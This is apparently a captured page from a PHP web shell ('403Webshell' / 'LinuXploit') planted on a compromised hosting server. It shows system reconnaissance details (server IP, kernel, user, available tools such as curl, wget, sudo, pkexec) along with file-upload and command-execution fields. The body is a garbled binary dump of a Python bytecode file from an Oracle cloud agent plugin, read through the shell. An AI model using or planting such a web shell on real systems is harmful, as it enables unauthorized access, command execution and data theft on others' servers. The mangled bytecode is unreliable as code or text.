403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/agent/shared/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/agent/shared/im_common.pyc
a

���fn<�@s�ddlZddlZddlZddlZddlmZddlZddlZddlZddl	m
Z
ddlmZddl
mZmZmZddlmZdej_Gdd	�d	�ZdS)
�N)�datetime)�get_instance_principal_signer)�unicode_escape)�get_region_info�get_certificate_bundle�requests_no_retry_session)�	HTTPError�c@s�eZdZdZdZdZdZdZdZdZ	dZ
dZdZdZ
dZd	d
ddd
�Zdddd�ZdZdZdd�Zdd�Zd&dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�ZdS)'�OsmsIm�<i�r�2NFz7/var/lib/oracle-cloud-agent/plugins/osms/.osms_im_ready�)�POSTzS/20210330/monitoredInstances/{monitoredInstanceId}/actions/activateMonitoringPlugin)�GETz2/20210330/monitoredInstances/{monitoredInstanceId})rzU/20210330/monitoredInstances/{monitoredInstanceId}/actions/deactivateMonitoringPlugin)rz&/20210330/workRequests/{workRequestId})�activate�getinstance�
deactivate�workrequest)�monitoredInstanceId�
workRequestId�
compartmentId�cCs�tj�d�|_ddd�|_|r(||jd<|durHt�d�}tjtjd�||_	|durbtj
�|�}||_|jd|j
d<|jd	|j
d	<|jd
|_t|j�}|jddjfi|��|_t|j||jd
�|_dS)Nz//etc/oracle-cloud-agent/plugins/osms/config.ymlzapplication/json)�acceptzcontent-type�oca�osmsx_ctl_im)�level�idrr�canonicalRegionName�osms_im�endpoint_format�agent)�oci_agent_utils�config�	from_file�_config�_request_headers�logging�	getLogger�basicConfig�WARN�_logger�instance_metadata�InstanceMetadata�_instance_metadata�
_resources�_regionr�format�_endpoint_baser�_cert)�self�oca_versionr+�logger�region_info�r7�4/sparta/input/plugins/osms/agent/shared/im_common.py�__init__3s&�


zOsmsIm.__init__c
Cs�t��}td|jd�|j}|dkr4|j|j}nt||j|j�}|��|j|k}|s�|j	�
d�|j|j|�
d�dd�t�|j��
d�dd�|d��|S)Nr	�rzkactivate #{}, work-request #{}: not ready to run at {}, last attempt made at {}, enforcing delay of {} minsz%Y/%m/%d %H:%M:%S,%f���r)r�now�pow�_activate_calls_made�_delay_unit_in_sec�
_max_delay�min�	timestamp�_last_call_timestampr*�debugr0�_work_request_calls_made�strftime�
fromtimestamp)r3r<�delay�readyr7r7r8�is_ready_to_runNs"��zOsmsIm.is_ready_to_runc

Cs�d}|dur|j}|j|d}tj�|j|j|djfi|���}|dvrf|j�d�||��dS�zJ�z�t	�
�}d|kr�|jd7_d|_d|kr�|jd7_|�
�|_t���|}t|j|j|j|j|j�}|j�d�|||��t||���|d|j|j||jd	�}|du�r(|d
v�rD|jdk�rD|�|j�d��n�d|k�r�|�|�\}	}
|
dk�r�|	dfWd�WW|�r�|��SnJd
|k�r�|� |�\}	}
|
dk�r�|	dfWd�WW|�r�|��S|�!||t	�
�|�"�|j||�\}}
||
fWd�WW|�r&|��SWd�n1�s>0YWnVt#�y�}z<d�||�}|j�|�|dfWYd}~W|�r�|��Sd}~00W|�r�|��n|�r�|��0dS)Nrr:)rrz/Invalid http method '{}' passed for endpoint {})NzInvalid http methodrrz$About to execute '{}' action - {} {})�url�data�headers�verify�auth�timeout)rr��zopc-work-request-idrz/Failed to call action '{}' due to exception: {})$r.�_actions�urllib�parse�urljoinr1r0r*�errorrr<r>rErBrCrrr-r2r/r$rD�getattr�lowerr%�request_timeout_seconds�status_code�_set_work_request_idrM�get�_check_work_request�close�_check_instance_status�
_log_response�
total_seconds�	Exception)
r3�action�	resources�response�
httpmethod�endpoint�request_start_time�session�instance_principal_signer�cli_msg�call_status�msg�exr7r7r8�call_actionfs�&

��


�

���&�
�zOsmsIm.call_actionc
	CsN|dur4|j�d|�d�|||�}|j�|�|Sz�|j�d�|jrT|j�dd�nd|��d�||jrx|j�dd�nd|jr�|jnd|jt|�dd��}|j�|�|j�d	�|j�dd�t|j	���|�
�|d
fWSt�yHd|k�r|jdk�r|�d
�\}}	||	fYSd�||||j�}|j�|�|dfYS0dS)NzRequest headers: {}z3Failed to call action '{}' {} {}. Response is none!z'opc-request-id: {}; request-headers: {}�opc-request-id�	<missing>r
zWCalled action '{}' with opc-request-id: {}; response-headers: {}; status: {}; took: {}sr;zopc-request-id: {}; text: {}rri�rz,Failed to call action '{}' {} {}, status: {}r:)
r*rDr0rMr\rZ�str�infor�text�raise_for_statusrro)
r3rcre�request_duration�request_headersrfrgrmrkrlr7r7r8r`�sH
��
�
�zOsmsIm._log_responsecCs
|jdS�Nr�r.)r3r7r7r8�get_work_request_id�szOsmsIm.get_work_request_idcCs||jd<dSrxry)r3�work_request_idr7r7r8r[�szOsmsIm._set_work_request_idcCs0|j|_d|_|jdk�rt�|j�}|�d�}||_|j�d�	|j
�dd�|��|��d|kr�|j�d�	|t|j���|�
�\}}|j�|�d|_|�d�||fS|d	vr�d�	|t|j��}d|_|�d�|j�|�|d
fSd�	|t|j��}|j�|�|dfSnd�	|��|j�}|d
fSdS)N���statusz6opc-request-id: {} opc-work-request-id: {} - status {}rprq�	SUCCEEDEDzim activation {}: {}r)�FAILED�CANCELEDr:z3opc-work-request-id: {} - unexpected status code {})rZ�_work_request_last_httpstatus�_work_request_last_status�json�loadsrtr\r*rDr0rMrzr�_create_flag_filersrEr[rV)r3re�
response_jsonr}rkrlr7r7r8r]�s>

�



�zOsmsIm._check_work_requestcCs�|jdkr�t�|j�}|�d�}|j�d�|j�dd�|��d|krr|�	�\}}d�||�}|j�
|�||fSd�|t|j��}|j�|�|d	fSn d
�|j�}|j�|�|d	fSdS)Nr|�lifecycleStatez8opc-request-id: {} - monitoredInstance lifecycleState {}rprq�ACTIVEz0{} - monitoredInstance lifecycleState already {}z'monitoredInstance lifecycleState {}: {}r:zLCould not check monitoredInstance lifecycleState - unexpected status code {})rZr�r�rtr\r*rDr0rMr�rsr)r3rer��staterkrlr7r7r8r_�s(


�
�zOsmsIm._check_instance_statuscCsL|j|jkrHd�|j|jd|j|j�}|j�|�d|_|�d�|SdS)NzjReached max re-tries of {} for opc-work-request-id: {}; last http_status: {}; last work-request-status: {}rr)	rE�_work_request_max_callsr0r.r�r�r*�warningr[)r3�warn_msgr7r7r8�*reset_work_request_if_max_attempts_reacheds�
z1OsmsIm.reset_work_request_if_max_attempts_reachedcCs4tj�|j�r0|js*d|_d}|j�|�|jSdS)NTzim already activatedF)�os�path�exists�_osms_im_ready_flag_file�
_is_activatedr*rs)r3rkr7r7r8�
has_flag_fileszOsmsIm.has_flag_filec
Cs�z`tt�|jtjtjBd�d��.}|�d�d|_d}|dfWd�WS1sT0YWnJty�}z2d�|jt	|��}|j
�|�|dfWYd}~Sd}~00dS)Ni�zw+rTz$im activation completed successfullyzEim activation completed successfully, but failed to create file {} {}r:)�openr�r��O_RDWR�O_CREAT�truncater��IOErrorr0�reprr*rV)r3�frkrVr7r7r8r�$s 
,�zOsmsIm._create_flag_file)N)�__name__�
__module__�__qualname__r?r@r>rEr�r�r�rCr�r�r/r1rRr.r2rYr9rJror`rzr[r]r_r�r�r�r7r7r7r8r
sD��
='$
r
)r&r�r�rSr�requests�oci_agent_utils.configr!�!oci_agent_utils.instance_metadata�"oci_agent_utils.instance_principalr�"oci_agent_utils.string_conversionsr�oci_agent_utils.utilsrrr�requests.exceptionsr�adapters�DEFAULT_RETRIESr
r7r7r7r8�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit